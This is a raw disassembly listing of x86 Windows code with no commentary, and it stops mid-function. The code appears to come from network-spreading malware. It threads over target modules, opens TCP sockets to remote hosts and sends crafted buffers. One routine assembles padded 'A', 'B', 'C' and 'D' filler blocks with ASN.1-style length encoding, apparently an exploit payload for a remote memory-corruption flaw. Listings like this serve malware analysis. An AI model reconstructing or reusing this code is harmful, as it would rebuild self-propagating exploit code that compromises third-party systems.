lea eax, dword_43E360[ebx]
push eax
call sub_41B886
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40C087
add esp, 14h
cmp eax, 1
jnz loc_40C31D
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C271
push offset dword_4CD770
nop
call near ptr 77F7E21Fh
push [ebp+var_3C]
push edi
call dword_4CB6B0
push eax
lea eax, [ebp+var_28C]
push offset unk_43210C
push eax
call sub_41B886
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C253
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40C247
lea eax, [ebp+var_140]
loc_40C247: ; CODE XREF: sub_40C124+11Bj
push eax
push [ebp+var_40]
call sub_409A72
add esp, 14h
loc_40C253: ; CODE XREF: sub_40C124+100j
lea eax, [ebp+var_28C]
push eax
call sub_4151AC
mov [esp+29Ch+var_29C], offset dword_4CD770
nop
call near ptr 77F7E300h
jmp loc_40C31D
; ---------------------------------------------------------------------------
loc_40C271: ; CODE XREF: sub_40C124+D0j
push edi
call dword_4CB6B0
push eax
lea eax, [ebp+var_208]
push eax
call sub_41B886
mov eax, [ebp+var_20]
pop ecx
shl eax, 6
pop ecx
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41B886
cmp [ebp+var_C0], 0
pop ecx
pop ecx
lea eax, [ebp+var_C0]
jnz short loc_40C2B6
lea eax, [ebp+var_140]
loc_40C2B6: ; CODE XREF: sub_40C124+18Aj
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41B886
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_431ACC[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C31D: ; CODE XREF: sub_40C124+C6j
; sub_40C124+148j
push 7D0h
call near ptr 2820566h
nop
jmp loc_40C16B
; ---------------------------------------------------------------------------
loc_40C32D: ; CODE XREF: sub_40C124+55j
push esi
call sub_40B412
pop ecx
push 0
nop
call near ptr 288097Dh
loc_40C33C: ; DATA XREF: sub_401ACD+1F81o
; sub_401ACD+5C48o
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4CB664
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4CB770[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40BACD
push 0Bh
call sub_40B33E
add esp, 150h
cmp eax, ebx
jnz short loc_40C40A
mov esi, offset dword_4CD770
push esi
nop
call near ptr 289023Fh
push 80000400h
push esi
call near ptr 2890000h
nop
test eax, eax
jnz short loc_40C40A
lea eax, [ebp+var_1CC]
push offset unk_432218
push eax
call sub_41B886
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40C3F4
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409A72
add esp, 14h
loc_40C3F4: ; CODE XREF: sub_40C124+2B1j
lea eax, [ebp+var_1CC]
push eax
call sub_4151AC
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C40A: ; CODE XREF: sub_40C124+27Bj
; sub_40C124+297j
mov eax, [ebp+var_2C]
mov esi, dword_427078
mov edi, ebx
mov dword_4CB774[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40C4D7
loc_40C428: ; CODE XREF: sub_40C124+3ADj
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_4321E4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_40B0F6
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_43E564[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40C124
push ebx
push ebx
call near ptr 282060Ah
nop
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_40C4A2
loc_40C497: ; CODE XREF: sub_40C124+37Cj
cmp [ebp+var_4], ebx
jnz short loc_40C4C9
push 1Eh
call esi
jmp short loc_40C497
; ---------------------------------------------------------------------------
loc_40C4A2: ; CODE XREF: sub_40C124+371j
nop
call near ptr 2830047h
push eax
lea eax, [ebp+var_1CC]
push offset unk_4321AC
push eax
call sub_41B886
lea eax, [ebp+var_1CC]
push eax
call sub_4151AC
add esp, 10h
loc_40C4C9: ; CODE XREF: sub_40C124+376j
push 1Eh
call esi
inc edi
cmp edi, [ebp+var_20]
jbe loc_40C428
loc_40C4D7: ; CODE XREF: sub_40C124+2FEj
cmp [ebp+var_30], ebx
jz loc_40C581
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi
loc_40C4EC: ; CODE XREF: sub_40C124+468j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4CB770[eax*8]
push eax
call dword_4CB6B0
push eax
lea eax, [ebp+var_1CC]
push offset unk_43216C
push eax
call sub_41B886
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40C53A
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409A72
add esp, 14h
loc_40C53A: ; CODE XREF: sub_40C124+3F7j
lea eax, [ebp+var_1CC]
push eax
call sub_4151AC
mov eax, [ebp+var_2C]
mov [esp+29Ch+var_29C], 0BB8h
mov dword_4CB774[eax*8], ebx
call esi
push 0Bh
call sub_40B33E
cmp eax, 1
pop ecx
jnz short loc_40C571
push offset dword_4CD770
nop
call near ptr 289023Fh
loc_40C571: ; CODE XREF: sub_40C124+440j
push [ebp+var_2C]
call sub_40B412
pop ecx
push ebx
call near ptr 288097Dh
nop
loc_40C581: ; CODE XREF: sub_40C124+3B6j
; sub_40C124+475j
mov eax, [ebp+var_2C]
cmp dword_4CB774[eax*8], 1
jnz loc_40C4EC
push 7D0h
call esi
jmp short loc_40C581
sub_40C124 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C59B proc near
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_4CB624
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4CB6A4
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C659
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CB5CC
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_43E56C[ecx], esi
jz short loc_40C659
push [ebp+var_38]
push [ebp+var_28]
call dword_4CB6B0
push eax
mov edi, offset dword_4CE134
push offset dword_43224C
push edi
call sub_41B886
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_409A72
push edi
call sub_4151AC
add esp, 28h
loc_40C659: ; CODE XREF: sub_40C59B+5Dj
; sub_40C59B+7Ej
push esi
call dword_4CB6BC
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40C59B endp
; ---------------------------------------------------------------------------
dword_40C668 dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
; DATA XREF: sub_401ACD+603Eo
dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
dd 1, 75FFFF33h, 0E075FFD0h, 0B6B015FFh, 8D50004Ch, 0FFFECC85h
dd 227468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
dd 50000001h, 69DC458Bh, 234C0h, 0E3600500h, 0E8500043h
dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
dd 40C59Bh, 1BE85757h, 9002413Fh, 4589C73Bh, 390B74FCh
dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0A4E890FCh, 0FF023F3Eh
dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CB54Ch
dd 45895040h, 2015FF08h, 89004CB6h, 458D0845h, 50046A08h
dd 50E0458Dh, 0FBBFE8h, 0CC48300h, 0FFFF3DE9h
db 0FFh
byte_40C759 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5D4Eo
dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h
dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
dd 75FFD475h, 0B015FFE4h, 50004CB6h, 0FED0858Dh, 0C868FFFFh
dd 50004322h, 0F0E1E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
dd 234C069h, 60050000h, 500043E3h, 0EE2BE8h, 1CC48300h
dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h, 90575700h
dd 413E29E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
dd 0FFF5EBD6h, 0B4E80875h, 90023F3Dh, 8CB3FFh, 0BB890000h
dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h
dd 75FFFFFFh, 0B015FFE4h, 50004CB6h, 0FED0858Dh, 9C68FFFFh
dd 50004322h, 0F051E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh
dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
db 4, 0
; =============== S U B R O U T I N E =======================================
sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep
; sub_40CADA+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40C866 endp
; =============== S U B R O U T I N E =======================================
sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_41B4D5
mov edi, eax
pop ecx
test edi, edi
jz short loc_40C8A2
push ebx
push 0
push edi
call sub_41B590
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_41C310
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40C8A2: ; CODE XREF: sub_40C870+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40C870 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p
; sub_40CA1E+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
jz short loc_40C8F6
push edi
push 0
push esi
call sub_41B590
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_41C310
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41C310
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40C8AA endp
; =============== S U B R O U T I N E =======================================
sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep
; sub_40C9A4+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40C90F
push eax
call sub_41B0B1
pop ecx
loc_40C90F: ; CODE XREF: sub_40C8FF+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40C8FF endp
; =============== S U B R O U T I N E =======================================
sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p
; sub_40CA7F+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40C945
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_41B4D5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C949
loc_40C945: ; CODE XREF: sub_40C918+Dj
xor al, al
jmp short loc_40C9A0
; ---------------------------------------------------------------------------
loc_40C949: ; CODE XREF: sub_40C918+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_41B590
add esp, 0Ch
cmp ebx, 1
jnz short loc_40C96E
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40C988
; ---------------------------------------------------------------------------
loc_40C96E: ; CODE XREF: sub_40C918+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40C988: ; CODE XREF: sub_40C918+54j
push eax
call sub_41C310
add esp, 0Ch
push dword ptr [esi]
call sub_41B0B1
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40C9A0: ; CODE XREF: sub_40C918+2Fj
pop edi
pop esi
pop ebx
retn
sub_40C918 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p
; sub_40CADA+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_4CB4DC
call sub_40C8AA
lea ecx, [ebp+var_8]
call sub_40C918
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41B4D5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C9DE
xor al, al
jmp short loc_40CA1A
; ---------------------------------------------------------------------------
loc_40C9DE: ; CODE XREF: sub_40C9A4+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41B590
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_41C310
add esp, 18h
mov ecx, esi
call sub_40C8FF
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40C8FF
mov al, 1
loc_40CA1A: ; CODE XREF: sub_40C9A4+38j
pop edi
pop esi
leave
retn
sub_40C9A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p
; sub_40CA6F+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40C8AA
mov ecx, esi
call sub_40C8FF
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40CA1E endp
; =============== S U B R O U T I N E =======================================
sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p
; sub_40CADA+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41AFE0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40CA1E
pop esi
retn 4
sub_40CA52 endp
; =============== S U B R O U T I N E =======================================
sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp
; sub_40CADA+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40CA1E
retn 8
sub_40CA6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p
; sub_40CADA+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40C918
test al, al
jz short loc_40CAB8
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42CFAC
call sub_40C8AA
mov ecx, esi
call sub_40C8FF
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj
pop esi
leave
retn
sub_40CA7F endp
; =============== S U B R O U T I N E =======================================
sub_40CABB proc near ; CODE XREF: sub_40CADA+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40CA6F
test al, al
jz short loc_40CAD6
mov ecx, esi
call sub_40CA7F
loc_40CAD6: ; CODE XREF: sub_40CABB+12j
pop esi
retn 8
sub_40CABB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CADA proc near ; CODE XREF: ___:0040D361p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40C866
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40CE2E
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40CE2E
push esi
lea ecx, [ebp+var_30]
call sub_40C866
lea ecx, [ebp+var_20]
call sub_40C866
lea ecx, [ebp+var_50]
call sub_40C866
lea ecx, [ebp+var_18]
call sub_40C866
lea ecx, [ebp+var_40]
call sub_40C866
lea ecx, [ebp+var_38]
call sub_40C866
lea ecx, [ebp+var_28]
call sub_40C866
push 4
push offset dword_432300
lea ecx, [ebp+var_30]
call sub_40CA1E
push 3
push offset dword_432308
lea ecx, [ebp+var_30]
call sub_40CA1E
lea ecx, [ebp+var_30]
call sub_40C9A4
lea ecx, [ebp+var_30]
call sub_40CA7F
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41B590
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "░B░B░B░B"
call sub_40CA1E
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40CA1E
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40CA1E
lea ecx, [ebp+var_20]
call sub_40C9A4
push offset loc_432684
lea ecx, [ebp+var_50]
call sub_40CA52
lea ecx, [ebp+var_50]
call sub_40C9A4
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40C870
lea ecx, [ebp+var_58]
call sub_40C9A4
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40CABB
lea ecx, [ebp+var_58]
call sub_40C8FF
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41B590
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40CA52
push 4
push offset dword_43230C
lea ecx, [ebp+var_18]
call sub_40CA1E
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40CA1E
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40CA1E
lea ecx, [ebp+var_18]
call sub_40C9A4
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40CA6F
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40CA6F
lea ecx, [ebp+var_40]
call sub_40CA7F
lea ecx, [ebp+var_18]
call sub_40C8FF
lea ecx, [ebp+var_50]
call sub_40C8FF
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40CA6F
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40CA6F
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40CA6F
lea ecx, [ebp+var_38]
call sub_40CA7F
lea ecx, [ebp+var_20]
call sub_40C8FF
lea ecx, [ebp+var_30]
call sub_40C8FF
lea ecx, [ebp+var_40]
call sub_40C8FF
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40CA1E
lea ecx, [ebp+var_28]
call sub_40C9A4
push 2
push offset dword_432678
lea ecx, [ebp+var_28]
call sub_40CA1E
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40CA6F
lea ecx, [ebp+var_28]
call sub_40CA7F
lea ecx, [ebp+var_38]
call sub_40C8FF
lea ecx, [ebp+var_10]
call sub_40C866
lea ecx, [ebp+var_8]
call sub_40C866
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40CA6F
lea ecx, [ebp+var_10]
call sub_40C918
lea ecx, [ebp+var_28]
call sub_40C8FF
push offset dword_432674
lea ecx, [ebp+var_8]
call sub_40CA52
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CA6F
lea ecx, [ebp+var_8]
call sub_40C918
lea ecx, [ebp+var_10]
call sub_40C8FF
push offset dword_432670
lea ecx, [ebp+var_10]
call sub_40CA52
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40CA6F
lea ecx, [ebp+var_10]
call sub_40C918
lea ecx, [ebp+var_8]
call sub_40C8FF
push offset dword_432664
lea ecx, [ebp+var_8]
call sub_40CA52
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CA6F
lea ecx, [ebp+var_8]
call sub_40C918
lea ecx, [ebp+var_10]
call sub_40C8FF
push (offset loc_43265F+1)
lea ecx, [ebp+var_48]
call sub_40CA52
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40CA6F
lea ecx, [ebp+var_8]
call sub_40C8FF
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40CE3C
; ---------------------------------------------------------------------------
loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj
; sub_40CADA+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40CE3C: ; CODE XREF: sub_40CADA+352j
pop edi
pop ebx
leave
retn
sub_40CADA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p
; sub_40CF04+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call near ptr 71AB1890h
nop
cmp eax, edi
jnz short loc_40CEA7
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426756
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_40CEAB
loc_40CEA7: ; CODE XREF: sub_40CE40+54j
xor eax, eax
jmp short loc_40CEBB
; ---------------------------------------------------------------------------
loc_40CEAB: ; CODE XREF: sub_40CE40+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CB63C
loc_40CEBB: ; CODE XREF: sub_40CE40+69j
pop edi
pop esi
leave
retn
sub_40CE40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p
; sub_40CF04+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4CB620
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4CB674
cmp eax, 4
jz short loc_40CEE9
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40CEE9: ; CODE XREF: sub_40CEBF+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4CB674
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40CEBF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p
; ___:0040D452p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40CF2D
xor al, al
jmp loc_40CFD9
; ---------------------------------------------------------------------------
loc_40CF2D: ; CODE XREF: sub_40CF04+20j
push ebx
push 0
push esi
call sub_41B590
push 2Fh
push offset dword_43239C
push esi
call sub_41C310
push 8
lea eax, [esi+31h]
push offset dword_4323CC
push eax
mov [esi+2Fh], di
call sub_41C310
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_41C310
push 6
add ebx, edi
push offset dword_4CE33C
push ebx
call sub_41C310
mov ebx, [ebp+arg_0]
push 85h
push offset dword_432314
push ebx
call sub_40CEBF
add esp, 48h
test al, al
jnz short loc_40CF95
loc_40CF91: ; CODE XREF: sub_40CF04+B5j
xor bl, bl
jmp short loc_40CFD0
; ---------------------------------------------------------------------------
loc_40CF95: ; CODE XREF: sub_40CF04+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40CE40
push [ebp+var_4]
push esi
push ebx
call sub_40CEBF
add esp, 1Ch
test al, al
jz short loc_40CF91
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40CE40
add esp, 10h
mov bl, 1
loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj
push esi
call sub_41B0B1
pop ecx
mov al, bl
loc_40CFD9: ; CODE XREF: sub_40CF04+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40CF04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CFDE proc near ; CODE XREF: ___:0040D438p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_4323D8
push [ebp+arg_0]
nop
call near ptr 71AB1AF4h
cmp eax, 48h
